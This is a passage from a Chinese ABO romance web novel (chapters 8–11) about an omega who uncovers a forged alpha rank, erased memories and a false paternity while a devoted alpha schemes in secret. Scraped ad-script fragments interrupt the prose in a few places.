家实在太大,墨行知中途问了好几个阿姨,还走错了两次。 等他终于找到小厨房的时候,里面已经有菜香飘出来了。 墨行知咽了口唾沫,刚准备进去,身后突然有个声音叫住了他,他转头一看,原来是徐钧彻。 “四哥?” 徐钧彻似乎是跑过来的,胸前起伏有些快。 “行知,刚才对不起,小景平时不这样。” 墨行知:“您不用替他道歉,他已经付出了代价。” “我知道。”徐钧彻叹了一口气,“要不是你阻止,事情还不知道会闹成什么样。” 墨行知摇头:“我只是不想少钦被妈妈骂。” 大婚的日子口无遮拦,徐景确实该受点教训。 徐钧彻很惊讶他会说出这样的话,担心道:“行知,徐少钦他、他是不是欺负你了?” 墨行知一愣,不明白对方为什么这样问。 “没有。” 真正欺负他的徐少钦已经躺在医院了。 徐钧彻明显不信他说的话。谁都知道徐少钦花心又轻浮,现在见到本人就更别说了,简直又凶又暴力…… “行知,你不用怕他,徐墨两家世代交好,联姻就算做不到相爱,最起码也要相敬如宾,你根本不需要委屈自己。” 徐钧彻看着他靠近一步,说的真切:“他如果再欺负你,你可以随时来找我,我会跟父亲申请让你们离婚。” 墨行知:……? “哥哥很聪明,不劳您费心。” 身后一道声音穿插进来,二人回过头,看到拿着主厨刀,系着围裙,隐在阳光后面无表情的‘徐少钦’。 徐钧彻浑身一抖。 蓟萧扫了他一眼,走进把墨行知往厨房里面揽:“你去吃饭。” 墨行知看了看俩人,没说什么,乖乖地进去了。 墨行知一走,徐钧彻就警戒起来,身体呈现防御状态:“你想说什么?” 蓟萧见他不装了,反问:“您想对哥哥说什么?” “跟我离婚,然后嫁给你?” 徐钧彻:“我只是……” “你只是想骗哥哥给你生孩子,好提升你在徐家的地位。”蓟萧拆穿他。 “……” 同家族alpha之间的较量就是这么直白,娶到高级别的omega,生出高级别的孩子,争夺执掌人的继承权。 等徐钧彻反应过来,蓟萧已经把刀尖对准了他的大动脉,耳边是来自地狱的警告。 “别想打他的主意。” - 蓟萧回到厨房的时候,墨行知已经吃好了,正拿着手机跟人聊天。 瞥到屏幕上骆嘉淮三个字,蓟萧坐在对面,随口问:“朋友?” 墨行知:“老师。” 蓟萧眉心一跳。 “没来参加婚礼?” “爸妈不让。”墨行知突然想起来,抬眼问,“你的微信多少?” 蓟萧垂眸,念出一串数字。 墨行知输入,随后搜出来一条没有名字的小草鱼… “你叫什么名字?” 蓟萧:“小鱼。” “…小、鱼?” 蓟萧轻轻嗯了声,对上他的目光:“哥哥取的名字。” ??? 没等墨行知问下一句,手里的电话就响了,是许南兮。 他接起来,只听那头一阵喧闹。 “行知,你爸出事了...” 墨行知一顿,看了眼桌对面的人,站起来匆忙往门口走。 蓟萧放下筷子,静静地盯着门边,直到口袋传来震动。 他拿出手机,给说“事情已经办好”的人转了一笔钱,然后打开微信,给远在他国正做美梦的苏樾发了一条消息。 【关键人:骆嘉淮。】 8. 相信我 等墨行知重新回到宴会上,墨霖已经被几个医护人员抬进了救护车。 墨行知跟着许南兮还有几个弟弟上了另一辆车。 “怎么好端端的就摔了呢...” 许南兮坐在副驾驶,第一件事不是关心老公的伤势,而是交代驾驶位的大儿子:“阿闲,你这几天注意一下公司谁有异动。” 墨闲:“好。” “阿廷,你减少外出,多帮着点哥哥。” 墨廷嗯了声。 “哎呀妈,你这是被害妄想症。”坐在墨行知和墨廷中间最小的墨欢靠在座椅上说,“爸只是不小心摔了下,又没见血,说不定等下就醒了。” 气的许南兮转过头横了他一眼:“被害妄想症也比你脑袋空空好。再说,你爸都五十几岁的人了,见血比不见血有可能更严重,懂吗!” 墨欢瘪了下嘴,不说话了。 骂完小儿子,许南兮看了眼一声不吭的墨行知,似是还在为昨晚没挣到东西丢脸,没好气的转了回去。 没一会儿,徐家的车辆就跟在身后。 许南兮斜了一眼后视镜,阴阳道:“说来也真是,你爸早不摔晚不摔,偏偏在新人行完礼之后摔了... 这要是封建时代啊,还以为是儿婿克老丈人呢。” 这话明显是说给墨行知听的,但本人一点反应也没有。 三兄弟看着一直安静地坐在后座靠边的人,神情都有些微妙,但碍于辈分,没人敢接许南兮的话。 救护车很快抵达医院。 没多久,徐鹤南,柳熙川,蓟萧,徐家管事也都赶到了现场。 毕竟人是在徐家摔的,徐鹤南得给墨家上下一个交代。 很快,医生检查的结果出来了,称墨霖必须尽快做开卢手术,清除积血。 “开卢?这!”许南兮此刻不像在车上那般镇定,异常担心地看了一圈徐家的人,“这会不会有生命危险啊?” “患者已经停止出血,一般不会。”医生安抚道。 许南兮:“那不一般的时候呢?” “......” 医生有些无奈:“您先签字。” 手术中红灯亮起,一行人站的站,坐的坐,谁都不说话。 墨行知站在走廊拐弯处,背贴着墙,蓟萧则跟他面对面,双手肘撑着窗沿。 日落渐下,蓟萧的影子慢慢往墨行知那边爬过去,从脚到头,一点一点将他整个人完全包裹。 alpha双眼将omega牢牢锁在里面,因为背着光,神情总是隐在阴影处,让人捉摸不透。 哥哥,新婚快乐。 这是蓟萧当时没来得及说的话。 而墨霖,是他送给哥哥的第一件礼物。 两个人就这么互相看着对方,直到徐家的监控记录调出来,才跟其他人一起围上去。 视频里,墨霖从宴会进洗手间再到出来,一整个过程中都没有可疑人物,是他自己脚滑摔倒在阶梯上。 “今天客人多,洗手间地板打理不及时,这是我们的失误…”徐鹤南把平板交给管事,抬眼看了一圈墨家的人,随后跟蓟萧说,“少钦,你这些天帮着两个小舅子处理点公司的事。” 蓟萧:“是。” 许南兮见状也不好推辞,想着徐少钦是公司小白,随便安排他打个杂也好。 但表面却说:“这怎么好… 少钦和行知刚结婚,应该去度蜜月的。” 柳熙川拉着她:“家里的长辈都这样了,他们怎么安心去。” 墨霖从急诊室推出来的时候,已经是晚上八点多。 “手术很成功。”医生取下口罩,“但患者出血量较大,暂时还没那么快醒过来。” 许南兮皱眉:“能有一个大概吗?” “短的话可能几周就会醒过来,长的话… 可能要几个月。” 最终,许南兮,墨欢,墨行知,三个人承担起轮流照看墨霖的责任。 为了错开蓟萧和墨行知,柳熙川还提议让墨行知晚上值班,倒省了她整日看着这两个人了。 墨行知没有意见,只是找管事存了一份监控录像。 - 晚上十一点,徐墨两家人皆已散去,留下墨行知和几个保镖。 他坐在病床边,不断回放监控记录,终于,在无数次查看后,他发现了一个人。 当时,整个宴会里的人都非常忙碌,只有一个服务生一直盯着墨霖。墨霖身边总是有人往返,推杯换盏持续了一个多小时,等到彻底安静,那个服务生才端着盘子给他那桌送盅汤过去。 墨霖在喝完那个汤之后,不到十分钟,人就起身往洗手间走。 而在这十分钟里,那个人来回去了三次厕所,虽然每次装扮都不同,但都是洗了手之后故意把水滴在地上。 墨行知刚想把这个发现传给管事,门口突然一阵响动,他动作顿住,快速看了眼手机上的时间,已经是凌晨一点。 这个时间,不会是墨家人,保镖也不可能贸然进来。 以为出了什么事,墨行知快速收起手机,结果出去外面的房间一看,发现蓟萧正站在门口,手里提着一个袋子。 “你怎么来了?” 蓟萧把门关好,走到桌边,从袋子里拿出一个保温盒,打开:“吃点宵夜。” 墨行知愣了愣,说不出当下心里是个什么感受。他走过去坐下,看到一碗热腾腾的皮蛋瘦肉粥。 肉香味很快飘进鼻尖,他拿起勺子:“你最近要去公司,这种事,交给管事就好了。” 蓟萧没说话,坐在他旁边。 “正好,你回去让管事查一下这个人。”墨行知把监控截图点出来。 蓟萧微顿,对他的洞察速度感到意外,但只扫了一眼,没伸手接。 “不用查。” 墨行知刚舀起一勺粥,还没来得及往嘴里送,闻言偏过头:“为什么?” 他以为对方也跟他一样,发现了问题,可接下来听到的话,却让他睁大了眼睛。 “是我让人做的。” 墨行知:“你说什么?” 蓟萧看着他的眼睛:“是我…” 话音未落,蓟萧就直接被信息素按跪在地上。 寂静中“咚”的一声闷响。 墨行知垂着眸,一双红瞳裹满寒霜:“他是我的父亲。” 腺体的疼痛让蓟萧额间青筋凸起,心脏窒息一般难受。 他抬起头,艰难地握住omega的手,双眼通红:“他不是你的父亲,你也不叫墨行知。” “我凭什么相信你。”墨行知一把挥开他,站了起来。 事关家族利益,墨行知无法置身事外。 从木屋到这里,一切的事情都太过奇怪。 这个人一定有问题。 ———“为了财富和权利。” 难道... 是在利用他吗? 目标是整个墨家?? 可是为什么,看到这个人痛苦他的胸口会这么难受… 是他释放信息素的方式不对吗? 墨行知收起压制,按住心脏,退坐到备用床边,眼眶不受控制的蔓上一层水汽。
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 蓟萧见状赶紧释放出安抚信息素。alpha跪在omega面前,再次握住他的手,随后将人拦腰抱住。 墨行知一手按住对方的肩膀,挣扎着,眼泪却在脸上划出一道晶莹的曲线。 空气中散发着云杉和铃兰味道,墨行知深吸几口气,很快平静下来。 他不可思议地看着怀里的alpha,不明白对方为什么会有两种信息素,而且其中一种还是自己的味道…… alpha将脸贴在他的肚子上,露出修长的后颈,那儿也是alpha最脆弱的地方,除了最亲密的人,基本没有alpha敢这样露出来。 墨行知看着那条被他压制到红肿,却还在不停安抚自己的腺体,眼泪再次夺眶而出。 “那我是谁?” 蓟萧抬起头,伸手轻轻为他擦去泪水:“再给我一些时间,我会让你想起来。” 两个人的视线一上一下,明明alpha实力更强,却心甘情愿臣服在omega面前,一双眼睛里满是虔诚与敬仰。 如同追随神圣的信徒,忠诚而卑微。 好半晌。 墨行知别开眼:“你该回去了。” 见他已经平复好心情,蓟萧站起来,过去把粥端到他面前。 “还温着。” 墨行知看着那碗表面已经凝固的粥,伸手接了过来。 蓟萧坐在旁边,静静地等着他吃完。 “为什么压制你我会难受。”在蓟萧准备离开的时候,墨行知还是忍不住问。 他们不是恋人,也没有标记。 蓟萧把保温盒放进袋子里,只说:“压制信息素很伤身体,下次不要用了。” “但如果是别人欺负你,要记得还击。” 墨行知抬眼:“你欺负我我就得受着?” 蓟萧捏着门把的手微顿,闻言走回去把人看着:“我不会。” “……” 见他不信,alpha再次握住他的双手,弯下腰,抵着他的额头。 “相信我。” 话音刚落,蓟萧就闭上眼,很轻地在他嘴唇上碰了下。 墨行知红瞳泛着光,不闪不避,也没说一句话。 这不是一个吻。 像是两种跨界的变温动物轻触鼻尖,冰冷的,小心翼翼地打着招呼示好。 - 一夜无事,等到许南兮过来,墨行知便回家补觉。 只是想起昨晚蓟萧的话,墨行知一直没有什么睡意。 房间内到处贴着囍字,被子和窗帘也都是大红色,但白天睡觉要封闭光线,这让原本象征着喜庆的颜色因为屋子里的昏暗变得格外压抑。 虽然有alpha的信息素安抚着,但因为人不在,味道极淡… 墨行知起身拉开窗帘,站在阳台上吹风。 ‘许少钦’这栋婚房建于山湖一侧,入目便是一片荷花盛宴,小鸟在柳枝上跳跃,叽叽喳喳歌唱蓝天。 本想欣赏一下眼前的美景,不想却听到柳熙川在楼下跟人打电话。 也不知道那头说了什么,柳熙川听后情绪异常激动。 “什么?跑了?!” “你怎么连一个病人都看不住!” “他浑身都是伤能去哪儿啊?” “找!挖地三尺也要把他给我找出来!” “你别犯糊涂,他弟弟在这有什么用,一张破合同有什么用,没根的东西说变就能变。少钦现在这么虚弱的躺在医院,要是让老头子发现端倪,查出来他并非s级… ” “就完了!” 9. 我爱过你吗? 并非s级…… 徐少钦并非s级alpha??? 墨行知脑袋轰一下,手指在围台上划出一道痕迹。 那他这些年受的罪算什么? 到底什么是真的! 那头似乎也知道了事情的严重性,没说几句就挂断了电话。 墨行知听到柳熙川抱怨:“没一件事顺心的...” 砰——! 楼下后门被用力关上。 不一会儿,天空突然由晴转阴,乌云似一口大锅扣下来,开始淅淅沥沥下起了小雨。 墨行知头发很快被淋湿,水滴顺着他的脸颊砸到地板上,无声地炸开一朵朵小花。 他就那样站在阳台,高挑的身影在雨线中单薄而消瘦,沉闷又孤寂。 良久,墨行知重新洗了个澡,穿戴整齐下楼。 他不能就这么坐以待毙。 此时正好午饭时间,柳熙川看到他先是惊讶,随后眉头紧皱:“吃个午饭穿成这样… 是要勾引谁啊!” “诶,你要搞搞清楚,你真正的丈夫还在医院躺着!” 墨行知拉开椅子坐在对面,也不跟她废话:“带我去见伪造级别的医生。” “!!”柳熙川瞳孔一震,气焰和呼吸瞬间轻下来,“…什么、伪造,什么医生,我听不懂你在说什么…” “听不懂我就去徐鹤南面前说。”墨行知抬眼看她,红瞳异常寒冷。 听到这话,柳熙川双手握成拳,心脏狂跳。 “你想做什么?” 墨行知不回她,拿起筷子开始吃饭。 柳熙川见状简直要气炸了,完全没想到熬了一夜的人不睡觉,还听到了她这么致命的秘密… 但她毕竟是一家之母,岂能让儿媳妇骑到头上来? “就、就算我们家少钦不是s级,那也是货真价实的a级!哪一点配不上你了!”柳熙川开始强词夺理,“难不成你更愿意嫁给那个伪君子?” 墨行知咽下嘴里的饭,再次抬眼:“如果我把腺体摘下来,变成一个beta,你会愿意吗?” “……” 柳熙川没想到他这么疯,冷汗都下来了。 omega摘下腺体存活率不到百分之五十,更别说以后生孩子了… 当然,墨行知跟徐少钦的契合度低,如果要绑在一起一辈子,做beta确实可以过得更好。 可她当初伪造级别就是希望儿子以后能够强大起来,希望对方能继承徐家执掌人,而不是什么都只能捞残渣的老幺。 “你到底想做什么?”柳熙川维持表面的镇定,“那医生在鹏城。” 墨行知:“只是去做个脑部检查。” - “你脑袋怎么了?是哪里不舒服吗?什么时候的事?” 去医院的路上,柳熙川忍不住问。 墨行知靠坐在车窗边,闻言闭上眼。 “没有。” “……” 柳熙川现在烦死他了,气的把脸扭到另一边窗口。 司机看着后视镜眨了眨眼,原来‘婆媳关系难搞’这句话是真的… 等车子开到鹏城,已经是下午两点多。 墨行知坐在主任医师办公室,看着柳熙川跟一个穿着白大褂的人说了几句话,两个人一同看向他,眼神都有些一言难尽。 墨行知知道这样做有风险,但有些事情,他必须要弄清楚。 他打开手机,给微信里面叫【小鱼】的账号发送了一个地址。 很快,一个陌生电话就打了进来,但被墨行知挂断。 小鱼:【为什么在医院?】 小鱼:【什么时候去的鹏城?】 【如果三个小时后我没有回你,请把你所知道的事,全部告诉我。】 消息发送成功,墨行知便把手机放回兜里,没再理会对方播过来的电话。 “请问是哪里不舒服?”医生走过来问。 “没有不舒服。”墨行知看他,“我想知道,我的记忆,是不是被人动过手脚。” 闻言,医生看了眼柳熙川,在得到同意后,便带着墨行知做了一系列的心理,神经电生理检查和MRI以及PET等等... 出结果已经是三个小时后。 “数据显示,您不止一次经历过记忆创伤,也不止一次被清除记忆。” 墨行知刚听到这句话,还没来得及做出任何反应,办公室的门就被人暴力踹开。 “砰!”一声巨响,十几厘米的门板直接碎成片。 三个人吓得瞪大了眼睛。 只见一个alpha浑身煞气站在门边,鹰隼般的眼睛快速锁定里面的白发青年,看到对方安然无恙坐在椅子上,充满猎杀的信息素这才慢慢收起来。 “蓟、少钦?”柳熙川差点被他的信息素弄跪在地上,双腿直发软,“你怎么…” 医生虽然是个beta,但也被震得说不出话来。 蓟萧没说话,几步走到墨行知面前,垂眸盯着他看了两秒后,伸手把人拉起来就往外走。 “少钦!你要带他去哪?” 回应柳熙川的,是僵在门口几个捂着嘴巴神情惊恐的护士。 医院走廊穿梭着各种身影,忙忙碌碌,却格外静谧,只偶尔听见细微的脚步声和仪器声响。 蓟萧把人拉到楼梯间,按在墙上,双手抖得厉害。 “为什么一个人行动?” 墨行知被日落晃得眯起了眼,很快又被挡住光线,平静道:“因为你不告诉我。” “......” 蓟萧胸膛用力起伏几下,片刻后恢复平静。他伸出手,温柔地帮omega捋了捋发丝,开口却裹着冰:“哥哥,不要再靠近那些机器。” 墨行知却问:“我爱过你吗?什么时候?” 蓟萧顿住,看着他不说话。 爱过吗? 也许有,也许没有... 他们是教授选中的实验品,被迫生活在一起,被迫交换信息素和血液... 八年里,蓟萧其实每天都过得很开心,也从未有过被迫的感受。 但是哥哥... 唇边突然贴上来一道温热,蓟萧回神,看着近在迟尺的红瞳,心脏轻颤。 墨行知轻轻贴了贴面前的唇,发现没什么感觉,刚准备退回去,后脑勺就被人用力扣住。 俩人第一次接吻。 没有信息素的吻。 alpha不像上次那般温柔,碾磨着墨行知的唇瓣,或舔或吮... 乱七八糟的,他感觉到痛的同时,心脏像过电一样酥麻。 他觉得够了,伸手想阻止,却被对方抓住,按在胸膛上。似是不满,alpha蛮横地撬开他的齿缝,卷住他逃窜的舌尖,不轻不重地咬。 “唔......” 日落直线下降,楼梯道很快昏暗一片,只留下两具紧密的身影。 这地方实在太安静,稍微一点动静就像喇叭在喊,暧昧的吞咽不断往墨行知耳朵里灌,引的他头皮一阵发麻,双脚几乎快站不住。 直到肩上的手滑下来,将他拦腰抱住。 - 好半晌,似是终于亲够了,墨行知才被放开。 但又没完全放开。 alpha弯腰抱住他,笨重的脑袋卡在他肩上,耳边是急促的喘息。他们胸膛紧贴,心脏的跳动听的一清二楚。 扑通- 扑通- 扑通- 你快他更快。 跟比赛似的。 墨行知唇舌发麻,被迫扬起下巴,他看着窗外微蓝的光线,才发现,天已经黑了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 “该回去了。” alpha微顿,抬起头看他,似是不愿意,眉头紧蹙。 墨行知盯着面前眸光泛着红的眼睛,不自觉地抬起手,alpha立刻将脸埋在他手心,充满依恋的蹭了蹭。 墨行知心里一动,不知道是不是被蛊惑,缓缓释放出安抚信息素。 空气中很快散发着铃兰清香。 暖暖的。 温和的。 让人有种躺在草地打滚的舒适感。 似是意外,alpha再次将他紧紧抱住,力道之大,像是要把他整个揉进身体里才算完。 “...小鱼。” “我十一点交班。” 蓟萧:“......” - 俩人来到车库时,柳熙川已经回去了。 墨行知见车上没人,问:“你自己开车来的?” 蓟萧嗯了声,打开副驾驶车门。 墨行知坐进去,系上安全带,等到驾驶门打开,他又问:“他们今天让你做了什么?” 蓟萧:“泡茶,打印资料。” “......” “这是助理的活。”墨行知虽然猜到许南兮不会给什么重要的单子给徐家人做,但让儿子的丈夫做这些杂活,不是故意让公司的人看笑话吗? 蓟萧启动车子,看他:“不重要。” 也是。 墨行知不再问。 因为昨晚没怎么休息,今天也没睡,坐没多久,墨行知就感觉到困倦,双眼渐渐耷拉下来。 蓟萧盯着道路,伸手将他的座椅按下去。 空气中散发着云杉的清香,omega很快传来均匀的呼吸。 嗡——— 兜里的手机一阵响动,蓟萧点开,看到苏樾发过来几张照片和一大串消息。 苏樾:【老子回国了。】 苏樾:【嘖,就那点人还想看住我,做梦去吧。】 苏樾:【不过话说回来,这个骆嘉淮... 有点长在我的审美上啊。】 苏樾:【怎么办老弟,我对美人一向下不去手啊。】 蓟萧:“......” - 虽然只有三个多小时,但墨行知睡的很好。 两个人一起到病房,打开门,看见许南兮和柳熙川正在待客间聊着天。 见他们来了,柳熙川立刻扯出一个慈母笑:“小两口就是甜蜜,上下岗接送,宵夜还亲自做亲自送来。” 许南兮在一旁附和:“可不是嘛,他们的父亲何时有过这些心思,哎,这就叫遇到了对的人。” “......” 两个妈妈你一句我一句,硬生生聊到了十一点半才走。 墨行知看着无法下脚的待客间,蹲下来开始收拾各种慰问品。 满满一面墙,用得上或用不上的… 足以证明这里白天来了不少人。 蓟萧陪着他一起收拾完才走。 “别再来。”墨行知修剪着花枝,背身交代。 蓟萧嗯了声,盯着他的背影看了两秒,轻轻关上门。 在停车场遇上柳熙川的时候,蓟萧没有惊讶。 “哟,好男人要回家了呀。”柳熙川冷笑一声,“蓟萧,你把我的话当耳旁风呢?” 想起今天下午的事,柳熙川没控制住吼了出来:“你们什么时候勾搭上的!” 蓟萧没正眼看她,拿出钥匙开锁,平淡道:“在您儿子强迫他发情,又把他丢在洗手间不管的时候。” “……” “你胡说什么!”柳熙川瞪着眼,“少钦才不会做那种事…” 想起墨行知独自回国,她突然没了声。 蓟萧直接踩下油门离开。 “你!”柳熙川看着车屁股,气的咬牙切齿。 10. 听话一点 凌晨两点,墨行知坐在病床边,用沾湿的棉签给墨霖点水。 差不多半杯下去,才停止。 他把棉签丢进垃圾桶,拧干毛巾,帮对方的脸和手擦干净。 然后拿出一支采血管。 深夜的医院异常安静,病房里只能听见生命监护仪的声音。 滴- 滴- 滴- 直到墨行知把墨霖手肘的针拔下,对方也未曾有任何异样。 看样子睡的很安稳。 墨行知沉默地看着手中的血样,双眸在灯光下与其融为一体。 - 婚后三天回门。 这本来是一个传统的习俗,但因为墨霖住院,许南兮就把日子取消了。 “行知,你不会怪妈吧?”许南兮拉着墨行知的手,说得真切,“主要是你爸在你们婚礼当天出的事,我这么做,也是为了保全少钦的颜面。” 墨行知看着她惺惺作态的样子,平静道:“您做的对。” 交完班,墨行知去小店换了一身装扮,戴上渔夫帽和口罩,把血样拿去别的医院化验。 结果是非父子关系。 墨行知看着化验单,红瞳异常冰冷。 失忆,温养,替嫁。 简直烂透了的人生...... 墨家真是打的一手好牌! 墨行知深吸一口气,把单子扔进垃圾桶。 所以,真正的‘墨行知’去哪里了??? 正想着,肩膀突然被人撞了下,墨行知偏头看过去,是一个戴着鸭舌帽和口罩,准备丢垃圾的长马尾男生。 “哎呀,不好意思。”男生微笑着道歉,狭长的眼睛上方结着痂,看着像一条另类别致的眼线。 墨行知回头:“没事。” 正当他准备离开,对方却突然“咦?”了一声,看着他睁大眼睛:“你是——” “墨行知?” 墨行知一顿,再次抬眼。 “是你吧?”苏樾闻到了他身上属于蓟萧的另一种信息素,“你生病了?” 苏樾左右看了眼:“蓟萧呢?没跟你一起?” 墨行知这才想起来对方是谁。 但两个人都穿成这样,明显不想显露身份,也不方便交谈。 “他在忙。” 墨行知看了眼对方手里的一大袋药,说完便点头离开。 原来那个人叫蓟萧。 “诶......”苏樾见那道背影快速走出医院大门,弯腰把垃圾桶里的A纸拿了出来,当看到上面的鉴定信息,苏樾嗤了下,“看来这小子走的是真诚路线呀。” 这么快就坦白身份了。 苏樾把报告撕碎还给垃圾桶,压了压帽檐,出去打车。 这几天柳熙川的人一直在找他,害得他连个代步的车都没有。 - “呃......” 骆嘉淮在手腕上的疼痛中醒来,入目是一片白光。 他眯起眼,想撑着身子坐起来,结果又是一阵疼痛... 才发现,自己双手双脚都无法动弹。 骆嘉淮看着眼前比手指还粗的麻绳,脑袋当机了几秒。 好一会儿,他机械抬起头,看到自己身处一个四面环铁的地方。 “......” 隔离仓? 他为什么会在这里?? 他不是应该在家里睡觉吗??? 骆嘉淮心跳加快起来,未知的恐惧使他无比恐慌。 只有易感期的alpha才会进来这里。 嘎吱——— 铁门突然被打开,骆嘉淮咻的看过去,跟门口的人对上视线。 果然是个alpha。 “哟。”苏樾笑了下,反手关上门,“你醒啦。” 骆嘉淮被那笑声弄的汗毛竖起,颤抖着咽了一口唾沫。 “你是谁?” 然而对方却没回话,迈着步子直直朝他走了过来,骆嘉淮见状心脏一下绷紧了,慌乱道:“你别过来!” 他是个beta,感受不到alpha目前什么状态,但对方既然把他弄到了这里,作为一个三十一岁的成年人,又怎么会不知道接下来要发生的事… 苏樾被他吼的站在原地愣了两秒,反应过来又是一声笑:“嗓音挺洪亮啊。” 见他这么害怕,苏樾没再走进,从袋子里拿出一碗速粥,插上吸管放在旁边的凳子上。 “早餐。” “……” 骆嘉淮没动,看着对方走到桌边,背对着他捣鼓一个袋子。 他本想再问一遍对方到底是谁,想商量一下可不可以放他走,可还没等他开口,背对着他的alpha突然脱起了衣服。 ……….! 骆嘉淮瞪直双眼,身体几乎是下意识往后退,怕得喊不出半个字。 他是个beta! beta如何能有效缓解alpha的易感期!! 他会死在这里的!!! 然而,等骆嘉淮退到墙壁,将自己缩成一团,也没有听到alpha过来的脚步声。 直到耳中传来一声痛苦的呻.吟,骆嘉淮才抖着身子睁开眼睛。alpha已经摘下帽子和口罩,此刻正靠在桌沿,低着头拆着胸前的纱布,当看见对方朝着身上狰狞的伤口咒骂时,骆嘉淮心都提到嗓子眼儿了。 “妈的!” 苏樾最烦的就是换药。 那些粘在伤口上的纱布每回撕起来都像在活生生掀人皮。 等到裹上新的纱布,苏樾收拾好桌面,准备去问话,才发现,原本在屋子中间的beta缩在了墙角。 听到脚步声,beta猛地抬起头,一双漂亮的眼睛里面满是惊恐。 苏樾心头一跳,简直想把人抱在怀里安慰。 他轻咳一声,伸手把椅子上的粥拿起来,坐下朝对方温和一笑。 “我问,你答。” 骆嘉淮不知道对方这是在玩什么情趣,只是在看清那张脸时,双眸轻颤,心里直呼(妖精)! alpha应该是哪国的混血,皮肤很白,五官阴柔却不女气,虽然眼睛有道疤,但完全不影响他的美。 他眼尾向上挑着,笑眯眯的,跟只化形成人的狐狸一样。 这要是在路上遇到,骆嘉淮肯定会鼓起勇气要联系方式,但此刻却是充满防备的看着他:“问什么…” “你给墨行知教了几年书?” “???” 骆嘉淮完全没想到对方是冲着墨行知来的,怔了一瞬。 苏樾:“嗯?” “你问这个做什么?” 苏樾;“回答我的问题。” “你是谁?” 苏樾:“……” 不是骆嘉淮不说,是不能说,他给墨行知教书签了保密合同,他也没向任何人提起。 这个人为什么会知道? 是徐家的人吗? 骆嘉淮脑子里一片混乱,被alpha抬起下颚都忘了挣开。 “听话一点。”苏樾眯起眼睛,食指轻轻刮过他的脸颊,“我不想对你动手。” 骆嘉淮只觉得脸上被刀子划过,瞬间煞白一片。 - 墨行知没有回去补觉,而是把车开到了墨氏集团。 虽然结婚那天好几个记者的相机都已损坏,但还是有照片报道出来。 前台小姐很礼貌的把他引到会客厅:“您在这边稍等一下。” 墨行知点头。 没一会儿,他就看到一身西装革履的蓟萧走进来。 跟婚礼那天一样,alpha穿着整洁正式,头发梳到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 后面,露出饱满的额头,凌厉的五官在看到他时,肉眼可见的担心。 “出什么事了?” 墨行知摇头:“没有。” 蓟萧微顿,靠近他:“来看我的?” 墨行知嗯了声,垂眸把墨霖的指纹贴拿给他。 “墨霖的保险柜钥匙。” 听到这话,蓟萧有些意外的看着他。 omega神情冷静,意图明显,像在无声宣告加入阵营。 “我去做了亲子鉴定。”墨行知说实话。 蓟萧立马皱起眉:“你又单独行动!” “因为你什么都不肯告诉我。” 墨行知抬起头,眼睛一眨不眨地跟那双黑眸对视:“你一句“相信你”,就让我这么干等着。” “我是谁?” “从哪里来?” “我跟你是什么关系?” “你身上为何会有我的信息素?!” “……”蓟萧被逼问的低下头,不敢回答。 他说过会让哥哥想起来。 但也害怕哥哥全想起来。 他还有很多事情没有做,不想在这个时候被哥哥讨厌。 记忆像密织的网,一下把他拽进当年俩人最后见面的那天晚上。 同样是夏日,睡梦中的他被哥哥背着往庄园外面跑,等他被颠醒时,哥哥因为天黑看不清路而崴了脚。 他们一起摔在满是石头的阶梯上。 哥哥脚踝受了伤,膝盖骨全是血,却感觉不到疼似的推他:“你快跑!别回头!” 他怎么可能跑呢? 最后他扶着哥哥躲进了博士的实验室。 因为没有开灯,又是深夜,所以外面那些急促的脚步声就格外清晰。 “为什么不走?” “我要跟哥哥在一起。” “永远吗?” “嗯。” 周围伸手不见五指,他趴在哥哥怀里,耳边是两个人的呼吸声。 很轻很轻。 但心跳却震耳欲聋。 良久,他听到哥哥擦火柴的声音,接着嘴唇附上来一道温热。 他在火光中看见了一双近在咫尺的红瞳。 “那我们一起死吧。” 话音刚落,哥哥就把手上的火柴丢进了装满易燃物品的玻璃器皿中。 几乎是一瞬间,整个实验室烈焰熊熊。 “有人要领养我。”哥哥看着那瓶被大火包围的信息素,神情异常平静,“博士说,我走了之后,会再造一个omega,然后用我留下的信息素还有你的信息素一起培育对方。” 砰———! 器皿挨个炸开,他紧紧抱住哥哥,声嘶力竭地喊着不要。 后来他被拐卖才知道,每天抽信息素是个什么滋味。 那是一种刮骨之痛。 蓟萧看着眼前同样平静的红瞳,回了回神。他将指纹贴拿过来放进兜里,摊开哥哥那只白净的手,想起以前这手掌总是伤痕累累和厚厚的茧,他艰难地滑了下哽塞的喉咙。 “哥哥的手很干净。”蓟萧轻轻抚摸着墨行知的掌心,“我不想弄脏。” 他说:“我是地下道里的老鼠,踩惯了腐肉和肮脏的垃圾。” 他说:“我会清扫所有的障碍,留一条整洁的路让哥哥走。” 墨行知听着,心里却没有任何触动。他无法感同身受,只知道alpha看上去有些悲伤。 空气中渐渐散发出铃兰的清香,蓟萧深吸一口气,弯腰把人抱进怀里。 墨行知下巴卡在蓟萧肩上,他不懂怎么安慰人,学者电影那样拍了拍对方的背。 过了会儿,他继续不死心地追问。 “你下一步要做什么?” 蓟萧:“打开墨霖的保险柜。” “......” 11. 你想看我发疯吗? 这两天,墨氏集团的声誉一落千丈,股市更是断崖式下跌。 一张墨霖和某生物博士抽取墨行知的信息素培育人造omega的保密合同在一夜之间引起轩然大波。 无数记者堵在墨家和医院门口,甚至连墨行知住的地方也蹲满了人。 根据AO保护法,抽取信息素属于反人道行为,事情一经证实,指使者和操控者将判十年以上有期徒刑。 但若抽取的信息素达到100ml,将立即判处无期徒刑。 “墨先生,请问您知道墨董事长培育人造omega的事吗?” “墨先生,请问您是被迫抽取信息素还是自愿的?” “墨先生,请问您是否有关于这一块的记忆?” “墨先生……” 墨行知反手挡住脸,在一众保镖的拥护下艰难出门。 眼尖的记者注意到他手腕上有伤,速度极快地按了几下快门。 不过十步路,却用了几分钟才坐上车。 柳熙川左右看了眼追着车辆跑的记者们,皱眉道:“跟苍蝇似的…” 墨行知不说话,沉默地看着前方,像在思考着什么。 也像在害怕。 柳熙川看着他这可怜兮兮的样子,有那么一点点同情。 毕竟医生说过墨行知的记忆不止被动过一次。 虽然她也因为伪造级别伤害了对方,但虎毒不食子,墨霖也太狠心了! 来到墨家,俩人再次被围堵。 这件事的关注度实在太大,墨霖根本没办法继续住在医院里观察。 